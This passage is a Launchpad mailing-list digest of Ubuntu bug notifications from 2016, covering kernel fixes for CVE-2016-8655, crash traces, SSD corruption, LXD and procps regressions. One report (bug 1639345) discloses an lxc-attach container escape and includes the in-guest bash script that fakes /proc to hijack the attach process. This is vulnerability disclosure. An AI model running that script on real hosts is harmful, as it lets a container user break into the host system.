bin/cvename.cgi?name=2016-8655

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1557776

Title:
  CONFIG_AUFS_XATTR is not set

Status in linux package in Ubuntu:
  Fix Released
Status in linux source package in Wily:
  Fix Released
Status in linux source package in Xenial:
  Fix Released
Status in linux source package in Yakkety:
  Fix Released

Bug description:
  I am using ubuntu 15.10 with kernel linux-image-4.2.0-27-generic.
  The setting  CONFIG_AUFS_XATTR is not set.

  With the previous ubuntu version 15.04 and linux-
  image-3.19.0-42-generic this setting was compiled as
  CONFIG_AUFS_XATTR=y

  Without  CONFIG_AUFS_XATTR docker users using the AUFS driver can not
  work with capabilities.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1557776/+subscriptions

___
Mailing list: https://launchpad.net/~group.of.nepali.translators
Post to : group.of.nepali.translators@lists.launchpad.net
Unsubscribe : https://launchpad.net/~group.of.nepali.translators
More help   : https://help.launchpad.net/ListHelp

[Group.of.nepali.translators] [Bug 1628976] Re: Ubuntu 16.10: Oops panic in move_page_tables/page_remove_rmap after running memory_stress_ng.

[Launchpad Bug Tracker]

This bug was fixed in the package linux - 4.8.0-30.32

---
linux (4.8.0-30.32) yakkety; urgency=low

  * CVE-2016-8655 (LP: #1646318)
- packet: fix race condition in packet_set_ring

 -- Brad Figg   Thu, 01 Dec 2016 08:02:53 -0800

** Changed in: linux (Ubuntu)
   Status: Fix Committed => Fix Released

** CVE added: http://www.cve.mitre.org/cgi-
bin/cvename.cgi?name=2016-8655

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1628976

Title:
  Ubuntu 16.10: Oops panic in move_page_tables/page_remove_rmap after
  running memory_stress_ng.

Status in linux package in Ubuntu:
  Fix Released
Status in linux source package in Trusty:
  Fix Released
Status in linux source package in Xenial:
  Fix Released
Status in linux source package in Yakkety:
  Fix Released

Bug description:
  FYI Canonical:

  We have been seeing various page handling issues during memory stress
  in the 4.8 kernels.  The following is the most recent issue resulting
  in system panics on this host after the 4.8.0-17 update:

  == Comment: #17 - PAVITHRA R. PRAKASH - 2016-09-28 06:26:21 ==
  Hi,

  Tried running on 4.8.0-17-generic kernel. Getting below call trace and
  system crashes. Attaching logs.

  [ 2959.364333] Unable to handle kernel paging request for data at address 
0xf2fe4020
  [ 2959.364345] Faulting instruction address: 0xc02bb2a0
  [ 2959.364356] Oops: Kernel access of bad area, sig: 11 [#1]
  [ 2959.364364] SMP NR_CPUS=2048 NUMA pSeries
  [ 2959.364377] Modules linked in: rpadlpar_io rpaphp dccp_diag dccp tcp_diag 
udp_diag inet_diag unix_diag af_packet_diag netlink_diag bnx2x mdio libcrc32c 
pseries_rng vmx_crypto binfmt_misc ip_tables x_tables autofs4 ibmvscsi 
crc32c_vpmsum
  [ 2959.364441] CPU: 13 PID: 108 Comm: oom_reaper Not tainted 4.8.0-17-generic 
#19-Ubuntu
  [ 2959.364452] task: c004fbdf9c00 task.stack: c004fbe0
  [ 2959.364461] NIP: c02bb2a0 LR: c0300618 CTR: 
c009ca40
  [ 2959.364471] REGS: c004fbe036e0 TRAP: 0300   Not tainted  
(4.8.0-17-generic)
  [ 2959.364481] MSR: 80010280b033   
CR: 24028844  XER: 200c
  [ 2959.364526] CFAR: c0300614 DAR: f2fe4020 DSISR: 4000 
SOFTE: 1 
 GPR00: c0300618 c004fbe03960 c14e5e00 
f2fe4000 
 GPR04: 0001 0800  
c1665e00 
 GPR08: f900a196 0001 02fe4000 
 
 GPR12: 8800 c1b37500 0008 
c1ffe7ff 
 GPR16: c004f62a55f0 3fff9a00 3fff9900 
 
 GPR20: c004fbe03b80 c004e0713800 8e017c3302c0 
0001 
 GPR24: c000fb3614c8 c000fce9d990 c000fce9d6e4 
96a100f90b40 
 GPR28: f2fe4000 c000fb3614c8 0001 
f2fe4000 
  [ 2959.364673] NIP [c02bb2a0] page_remove_rmap+0x30/0x4b0
  [ 2959.364685] LR [c0300618] zap_huge_pmd+0xf8/0x480
  [ 2959.364692] Call Trace:
  [ 2959.364699] [c004fbe03960] [c004fbe039a0] 0xc004fbe039a0 
(unreliable)
  [ 2959.364714] [c004fbe039a0] [c0300618] zap_huge_pmd+0xf8/0x480
  [ 2959.364726] [c004fbe039f0] [c02a68d8] 
unmap_page_range+0xd08/0xee0
  [ 2959.364740] [c004fbe03b20] [c025c474] 
__oom_reap_task+0x204/0x2c0
  [ 2959.364752] [c004fbe03c80] [c025cda8] oom_reaper+0x1e8/0x300
  [ 2959.364765] [c004fbe03d80] [c00fd120] kthread+0x110/0x130
  [ 2959.364778] [c004fbe03e30] [c00098f0] 
ret_from_kernel_thread+0x5c/0x6c
  [ 2959.364788] Instruction dump:
  [ 2959.364796] 3c4c0123 3842ab90 7c0802a6 fba1ffe8 fbc1fff0 fbe1fff8 f8010010 
f821ffc1 
  [ 2959.364821] 7c7f1b78 7c9e2378 6000 6000  71480001 
392a 40820008 
  [ 2959.364871] ---[ end trace 178b14c6911b70dc ]---
  [ 2959.372762] 
  [ 2959.372798] Sending IPI to other CPUs
  [ 2959.373834] IPI complete

  Thanks,
  Pavithra

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1628976/+subscriptions

___
Mailing list: https://launchpad.net/~group.of.nepali.translators
Post to : group.of.nepali.translators@lists.launchpad.net
Unsubscribe : https://launchpad.net/~group.of.nepali.translators
More help   : https://help.launchpad.net/ListHelp

[Group.of.nepali.translators] [Bug 1638700] Re: hio: SSD data corruption under stress test

[Launchpad Bug Tracker]

This bug was fixed in the package linux - 4.8.0-30.32

---
linux (4.8.0-30.32) yakkety; urgency=low

  * CVE-2016-8655 (LP: #1646318)
- packet: fix race condition in packet_set_ring

 -- Brad Figg   Thu, 01 Dec 2016 08:02:53 -0800

** Changed in: linux (Ubuntu Zesty)
   Status: In Progress => Fix Released

** CVE added: http://www.cve.mitre.org/cgi-
bin/cvename.cgi?name=2016-8655

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1638700

Title:
  hio: SSD data corruption under stress test

Status in linux package in Ubuntu:
  Fix Released
Status in linux source package in Xenial:
  Fix Released
Status in linux source package in Yakkety:
  Fix Released
Status in linux source package in Zesty:
  Fix Released

Bug description:
  {forward from James Troup}:

  Just to followup to this with a little more information, we have now
  reproduced this in the following scenarios:

   * Ubuntu kernel 4.4 (i.e. 16.04) and kernel 4.8 (i.e. HWE-Y)
   * With and without Bcache involved
   * With both XFS and ext4
   * With HIO driver versions 2.1.0-23 and 2.1.0-25
   * With HIO Firmware 640 and 650
   * With and without the following two patches
- 
https://git.launchpad.net/~ubuntu-kernel/ubuntu/+source/linux/+git/xenial/commit/?id=7290fa97b945c288d8dd8eb8f284b98cb495b35b
- 
https://git.launchpad.net/~ubuntu-kernel/ubuntu/+source/linux/+git/xenial/commit/?id=901a3142db778ddb9ed6a9000ce8e5b0f66c48ba

  In all cases, we applied the following two patches in order to get hio
  to build at all with a 4.4 or later kernel:


https://git.launchpad.net/~ubuntu-kernel/ubuntu/+source/linux/+git/xenial/commit/?id=0abbb90372847caeeedeaa9db0f21e05ad8e9c74

https://git.launchpad.net/~ubuntu-kernel/ubuntu/+source/linux/+git/xenial/commit/?id=a0705c5ff3d12fc31f18f5d3c8589eaaed1aa577

  We've confirmed that we can reproduce the corruption on any machine in
  Tele2's Vienna facility.

  We've confirmed that, other than 1 machine, the 'hio_info' command
  says the health is 'OK'.

  Our most common reproducer is one of two scenarios:

   a) http://paste.ubuntu.com/23405150/

   b) http://paste.ubuntu.com/23405234/

  In the last example, it's possible to see corruption faster by
  increasing the 'count' argument to dd and avoid it by lowering it.
  e.g. on the machine I'm currently testing on count=52450 doesn't
  appear to show corruption, but a count of even 53000 would show it
  immediately every time.

  I hope this helps - please let us know what further information we can
  provide to debug this problem.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1638700/+subscriptions

___
Mailing list: https://launchpad.net/~group.of.nepali.translators
Post to : group.of.nepali.translators@lists.launchpad.net
Unsubscribe : https://launchpad.net/~group.of.nepali.translators
More help   : https://help.launchpad.net/ListHelp

[Group.of.nepali.translators] [Bug 1636847] Re: unexpectedly large memory usage of mounted snaps

[Launchpad Bug Tracker]

This bug was fixed in the package linux - 4.8.0-30.32

---
linux (4.8.0-30.32) yakkety; urgency=low

  * CVE-2016-8655 (LP: #1646318)
- packet: fix race condition in packet_set_ring

 -- Brad Figg   Thu, 01 Dec 2016 08:02:53 -0800

** Changed in: linux (Ubuntu Zesty)
   Status: Fix Committed => Fix Released

** CVE added: http://www.cve.mitre.org/cgi-
bin/cvename.cgi?name=2016-8655

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1636847

Title:
  unexpectedly large memory usage of mounted snaps

Status in Snappy:
  In Progress
Status in linux package in Ubuntu:
  Fix Released
Status in linux source package in Xenial:
  Fix Released
Status in linux source package in Yakkety:
  Fix Released
Status in linux source package in Zesty:
  Fix Released

Bug description:
  This is a tracking bug for what might be kernel bugs or kernel
  configuration changes.

  As described [1], memory used by simply mounting a squashfs file (even
  an empty one) is ranging from almost nothing (on certain
  distributions) to 131MB on Ubuntu 16.04 and 16.10 on a single-core
  machine or VM.

  The amount is excessive and should be investigated by the kernel team.
  We may need to change the kernel or at least the configuration we ship
  in our packages and kernel snaps.

  [1] https://github.com/zyga/mounted-fs-memory-checker

To manage notifications about this bug go to:
https://bugs.launchpad.net/snappy/+bug/1636847/+subscriptions

___
Mailing list: https://launchpad.net/~group.of.nepali.translators
Post to : group.of.nepali.translators@lists.launchpad.net
Unsubscribe : https://launchpad.net/~group.of.nepali.translators
More help   : https://help.launchpad.net/ListHelp

[Group.of.nepali.translators] [Bug 1639345] Re: lxc-attach to malicious container allows access to host

[Launchpad Bug Tracker]

This bug was fixed in the package linux - 4.8.0-30.32

---
linux (4.8.0-30.32) yakkety; urgency=low

  * CVE-2016-8655 (LP: #1646318)
- packet: fix race condition in packet_set_ring

 -- Brad Figg   Thu, 01 Dec 2016 08:02:53 -0800

** Changed in: linux (Ubuntu)
   Status: Triaged => Fix Released

** CVE added: http://www.cve.mitre.org/cgi-
bin/cvename.cgi?name=2016-8655

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1639345

Title:
  lxc-attach to malicious container allows access to host

Status in linux package in Ubuntu:
  Fix Released
Status in lxc package in Ubuntu:
  Fix Released
Status in linux source package in Trusty:
  Fix Released
Status in lxc source package in Trusty:
  Fix Released
Status in linux source package in Vivid:
  Fix Released
Status in lxc source package in Vivid:
  Fix Released
Status in linux source package in Xenial:
  Fix Released
Status in lxc source package in Xenial:
  Fix Released
Status in linux source package in Yakkety:
  Fix Released
Status in lxc source package in Yakkety:
  Fix Released

Bug description:
  A malicious root user in an unprivileged container may interfere with
  lxc-attach to provide manipulated guest proc file system information
  to disable dropping of capabilities and may in the end access the host
  file system by winning a very easy race against lxc-attach.

  In guest sequence:

  cat < /tmp/test
  #!/bin/bash -e
  rm -rf /test || true
  mkdir -p /test/sys/kernel
  echo "proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0" > /test/mounts
  echo 0 > /test/sys/kernel/cap_last_cap
  mkdir -p /test/self
  mknod /test/self/status p
  cd /proc
  mount -o bind /test /proc
  while true; do
pid=\$(ls -al */exe | grep lxc-attach | sed -r -e 's/.* ([0-9]+)\\/exe 
->.*/\\1/')
if [ "\${pid}" != "" ]; then
  cd /
  umount -i -f -l -n /proc
  exec /LxcAttachEscape "\${pid}" /bin/bash
fi
sleep 1
  done
  EOF

  See attachment for LxcAttachEscape.c

  Exploit uses fixed fd=7 for attacking, on other test environment, it
  might be other fd. Tests were performed by attacking lxc-attach
  started by

  screen lxc-attach -n [guestname]

  which is the sequence required against the TTY-stealing attacks also
  not fixed in all lxc-attach versions.

  In my opinion two bugs might need fixing:
  * lxc-attach should not use untrusted/manipulated information for proceeding
  * kernel should prevent against ptracing of lxc-attach as it was created in 
another USERNS

  
  # lsb_release -r -d
  Description:Ubuntu 16.04.1 LTS
  Release:16.04

  # apt-cache policy lxc1
  lxc1:
Installed: 2.0.5-0ubuntu1~ubuntu16.04.2
Candidate: 2.0.5-0ubuntu1~ubuntu16.04.2
Version table:
   *** 2.0.5-0ubuntu1~ubuntu16.04.2 500
  500 http://debarchive-ehealth.d03.arc.local/ubuntu 
xenial-updates/main amd64 Packages
  100 /var/lib/dpkg/status
   2.0.0-0ubuntu2 500
  500 http://debarchive-ehealth.d03.arc.local/ubuntu xenial/main amd64 
Packages

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1639345/+subscriptions

___
Mailing list: https://launchpad.net/~group.of.nepali.translators
Post to : group.of.nepali.translators@lists.launchpad.net
Unsubscribe : https://launchpad.net/~group.of.nepali.translators
More help   : https://help.launchpad.net/ListHelp

[Group.of.nepali.translators] [Bug 1582323] Re: Commissioning fails when competing cloud metadata resides on disk

[Andres Rodriguez]

** Also affects: maas/2.1
   Importance: Undecided
   Status: New

** Also affects: maas/trunk
   Importance: Critical
   Status: Triaged

** Changed in: maas/trunk
Milestone: 2.0.0 => next

** Changed in: maas/trunk
Milestone: next => 2.2.0

** Changed in: maas/2.1
Milestone: None => 2.1.3

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1582323

Title:
  Commissioning fails when competing cloud metadata resides on disk

Status in cloud-init:
  Confirmed
Status in MAAS:
  Triaged
Status in MAAS 2.1 series:
  New
Status in MAAS trunk series:
  Triaged
Status in cloud-init package in Ubuntu:
  Confirmed
Status in cloud-init source package in Xenial:
  Confirmed

Bug description:
  A customer reused hardware that had previously deployed a RHEL
  Overcloud-controller which places metadata on the disk as a legitimate
  source, that cloud-init looks at by default.  When the newly enlisted
  node appeared it had the name of "overcloud-controller-0" vs. maas-
  enlist, pulled from the disk metadata which had overridden MAAS'
  metadata.  Commissioning continually failed on all of the nodes until
  the disk metadata was manually removed (KVM boot Ubuntu ISO, rm -f
  data or dd zeros to disk).

To manage notifications about this bug go to:
https://bugs.launchpad.net/cloud-init/+bug/1582323/+subscriptions

___
Mailing list: https://launchpad.net/~group.of.nepali.translators
Post to : group.of.nepali.translators@lists.launchpad.net
Unsubscribe : https://launchpad.net/~group.of.nepali.translators
More help   : https://help.launchpad.net/ListHelp

[Group.of.nepali.translators] [Bug 1647312] Re: Containers don't restart after clean host shutdown

[Launchpad Bug Tracker]

This bug was fixed in the package lxd - 2.6.2-0ubuntu3

---
lxd (2.6.2-0ubuntu3) zesty; urgency=medium

  * Fix container last-state recording (LP: #1647312)
- 0001-Fix-container-state-recording.patch
- 0002-tests-Test-lxd-shutdown.patch
- 0003-Only-mark-ready-once-containers-are-up.patch

 -- Stéphane Graber   Mon, 05 Dec 2016 13:33:41
+0100

** Changed in: lxd (Ubuntu)
   Status: In Progress => Fix Released

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1647312

Title:
  Containers don't restart after clean host shutdown

Status in lxd package in Ubuntu:
  Fix Released
Status in lxd source package in Trusty:
  Fix Released
Status in lxd source package in Xenial:
  Fix Released

Bug description:
  LXD is supposed to record the containers state on host shutdown and
  restore them to their previous state on restart.

  A change in LXD 2.6.2 and LXD 2.0.8 regressed this, so now containers
  need to be manually started after reboot.

  Upstream bug report: https://github.com/lxc/lxd/issues/2686
  Upstream fix: https://github.com/lxc/lxd/pull/2687

  This will need to be SRUed very quickly.

  # SRU paperwork
  ## Rationale
  Regresses "lxd shutdown".

  ## Test case
   - lxc launch ubuntu:16.04 abc
   - lxd shutdown
   - ps aux | grep -q abc && echo "FAIL, container still running"
   - lxc finger
   - lxc list | grep abc | grep RUNNING

  ## Regression potential
  Fix is pretty straightforward and specific to this issue. A test was also 
added as part of this, so it's very unlikely that anything else would be 
affected by this fix.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/lxd/+bug/1647312/+subscriptions

___
Mailing list: https://launchpad.net/~group.of.nepali.translators
Post to : group.of.nepali.translators@lists.launchpad.net
Unsubscribe : https://launchpad.net/~group.of.nepali.translators
More help   : https://help.launchpad.net/ListHelp

[Group.of.nepali.translators] [Bug 1643084] Re: [REGRESSION] kill segfaults w/ single, negative PID

[Launchpad Bug Tracker]

This bug was fixed in the package procps - 2:3.3.10-4ubuntu2.3

---
procps (2:3.3.10-4ubuntu2.3) xenial; urgency=medium

  * kill: Fix segfault when called with single negative pid,
a regression introduced in 2:3.3.10-4ubuntu2.1 (LP: #1643084).

 -- dann frazier   Fri, 18 Nov 2016 16:08:57 -0700

** Changed in: procps (Ubuntu Xenial)
   Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1643084

Title:
  [REGRESSION] kill segfaults w/ single, negative PID

Status in procps package in Ubuntu:
  Fix Released
Status in procps source package in Xenial:
  Fix Released

Bug description:
  [Impact]
  The kill binary will segfault when called w/ a single, negative PID. This 
breaks a use case where you maybe sending the default signal (SIGTERM) to all 
processes (-1) or all processes in a process group (-